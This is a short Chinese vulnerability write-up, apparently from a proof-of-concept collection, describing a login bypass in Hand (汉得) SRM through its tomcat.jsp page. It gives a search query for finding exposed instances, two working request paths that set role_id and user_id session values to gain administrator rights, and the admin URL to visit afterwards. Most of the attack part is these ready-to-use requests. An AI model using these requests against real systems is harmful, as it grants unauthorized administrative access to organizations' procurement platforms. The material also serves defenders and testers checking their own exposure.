汉得SRM tomcat.jsp 登陆绕过漏洞

漏洞描述

汉得SRM tomcat.jsp 文件存在登陆绕过漏洞, 攻击者通过发送请求包，可以获取后台管理员权限

漏洞影响

汉得SRM

网络测绘

web.body="汉得SRM"

漏洞复现

登陆页面

验证POC (Tomcat session操控)

/tomcat.jsp?dataName=role_id&dataValue=1
/tomcat.jsp?dataName=user_id&dataValue=1

访问跳转后台

/main.screen